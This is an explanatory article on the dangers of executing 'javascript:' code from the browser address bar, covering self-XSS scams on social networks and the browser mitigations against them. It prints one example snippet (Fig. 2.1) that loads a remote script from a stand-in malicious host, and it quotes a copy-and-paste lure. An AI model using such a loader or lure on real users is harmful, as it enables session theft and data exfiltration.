Looking at the Dangers of the "javascript:" Protocol

Update

Thankfully, modern browsers no longer allow or warn against the injection of javascript into a page using the protocol discussed in this article. However, victims can still be socially engineered into causing harm to themselves via developer tools. Work has been done to address this issue though (see Firefox protection in Scratchpad and patch for Chrome's DevTools).

Introduction

Introduced in early versions of all major browsers (such as IE 3[1]), the "javascript:" protocol allows code to be executed within the scope of the active page. Although the protocol can be used by HTML tags to execute javascript (demonstrated in Fig. 1.1), modern developers prefer to use DHTML event listeners (e.g. "onclick"), as executed code has a better scope (it has access to the HTML element that called it via the context sensitive "this" keyword).

<a href="javascript:alert('Hello World');"> Hello World </a>
Fig. 1.1 - Anchor tag, which uses the "javascript:" protocol.

A more interesting, yet potentially dangerous, use of the protocol is to execute javascript from the Internet browser's address bar. This functionality is generally not well known about and unused by mainly all but a small group of web developers, whom use it for debugging purposes. However, recently it been exploited, particularly on social networking sites, as a tool to conduct socially engineered, XSS attacks on technically inexperienced users.

The Dangers

General

To run javascript from the address bar, a user types the protocol name: "javascript:" (similar to a networking protocol), followed by the code they wish to execute. Examples of legitimate uses of this protocol would be to check the state of global javascript objects or to query the DOM. However because the script executes within the context of the currently active page, if code originating from an un-trusted source is executed, it is possible for this script to circumvent the same-origin policy and steal sensitive information. Furthermore, the script may exploit any privileges the user holds on the page. In cases where there is insufficient server-side security, it may even be possible for the user's whole session to be hijacked by theft of the session cookie.

An example of how such an attack could be conducted, would to be to get the user to copy and paste the code in Fig. 2.1 into their address bar and then for them to press enter to run it.

javascript:(function() {
   var script = window.document.createElement("script");
   script.src = "http://example.com/malicious/script.js";
   window.document.getElementsByTagName("head")[0].appendChild(script);
})();
Fig. 2.1 - Example of malicious code that can be executed from the address bar. An external script is loaded, which could for example, use javascript's XMLHttpRequest to transfer sensitive information from the current page, to an external page.

In Social Networking Environments

The Internet is now widely used throughout the world and particularly within MEDCs (More Economically Developed Countries).[2] Many connected people, own "profiles" on social networking sites, such as Facebook.[3] As these sites are easily accessible, most users have little technical knowledge of how the Internet works. It is therefore viable to suggest that if a user was persuaded to execute dangerous code (containing the "javascript:" protocol) from their browser's address bar, they would not be aware of the risks to their security.

If tricked into running malicious code on a social networking site, unknown to the user, such action may put at risk their personal information and that of their contacts. Furthermore the user's account may be used to distribute spam or content that encourages contacts to themselves become victim to the same attack. In this instance, the probability that a contact executes the code would be greater, as it would have appeared to have originated from a trusted source. An example of how a user could be tricked into performing an XSS attack on themselves is shown in Fig. 2.2.

Just copy and paste this code into your browser's address bar to unlock the secret level... Attack Example
Fig. 2.2 - Example of how users may be tricked into executing malicious javascript on Facebook. Such "advice" may be seen on a group page for users of a Facebook game.

Public data detailing how extensively the "javascript:" protocol is being used in attacks on social networking sites is limited. However, from personal observation and from reading reports on the Internet, the problem may be affecting a "significant"[4] number of users.

Current Solution

As of Chrome v13, Firefox v6 and IE 9, the browser developers have taken notice to the dangers of the "javascript:" protocol and have subsequently disallowed code, such as that seen in Fig. 2.1, from being pasted directly into the address bar. In the case of Chrome and IE, the "javascript:" substring is stripped when the code is pasted, whereas Firefox no longer executes the script within the scope of the active page.

According to unofficial statistics, these defensive measures have reduced attacks on Facebook users by 85% in Firefox and by 90% in IE[4]. However, with Chrome and IE, variations of the attack are starting to be seen: e.g. getting the user to type the protocol name, then paste a malicious script onto the end. This is why the solutions currently implemented are not considered long term; there is much discussion on the future of the "javascript:" protocol in the address bar.

Conclusion

Although there are valid reasons to keep the "javascript:" protocol, e.g. for backwards compatibility and for the current implementation of bookmarklets* to be kept, I do not believe there is any worthwhile advantage in it, especially considering the potential risks to users. An argument for keeping the functionality is for the convenience of a small percentage of mainly web developers, who find it useful in testing. A valid counter-argument though is that there are alternative developer tools, available in all major browsers that could be used instead, such as Firefox's Scratchpad and Chrome's JavaScript Console. Another argument for allowing script to be run from the address bar is that useful programs, such as those which improve a site's interface and analytic tools, can be loaded onto a page using this method of javascript injection. However, these tools could instead be saved and ran as bookmarklets.

Although most recent Internet browsers allow more than just URL redirection to occur in the address bar (e.g. search), I do not believe that script execution is required from within it. I feel that allowing it is against user's mental models as to what the address bar does and I believe that it is too susceptible to be abused by malicious parties, particularly in the area of social networking.

Stopping javascript execution from within the address bar won't solve the problem of criminals tricking users into XSS attacking themselves: it will just push it into the console or into other developer tools. However, removing the ability for javascript to be executed in this way, will make it just that bit harder for genuine users to become victim of this type of attack.

I could go on to argue that the "javascript:" protocol could be removed completely from browsers by using a different system for bookmarklets, etc but that is a discussion for another time!

* The term bookmarklet, a portmanteau of bookmark and applet, describes a bookmark, which has javascript stored as the URL. When called, the javascript usually executes within the scope of the active window.